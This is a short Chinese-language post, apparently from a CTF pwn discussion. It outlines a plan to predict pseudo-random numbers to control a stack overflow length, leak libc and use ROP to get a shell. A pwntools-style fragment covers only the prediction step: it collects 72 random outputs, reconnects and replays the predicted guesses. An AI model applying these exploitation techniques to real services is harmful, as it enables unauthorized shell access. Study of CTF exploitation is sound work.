我的思路是通过伪随机数控制栈溢出长度,可以之间泄露libc后之间ROP拿shell,你可以参考下面代码: rand_num = [] ru(b"ch:") sl(b'2') ru(b"How many random numbers are outputted?") sl(b'72') for i in range(72): num = int(ru(b'\n')[:-1]) rand_num.append(num) print(rand_num)
io.close() io = start()
count = 0 for i in range(23): ru(b"ch:") sl(b'1') ru(b"guess a number:") sl(stre((rand_num[count] % 901) + 100)) count += 1 ru(b"success\n") sl(b'a')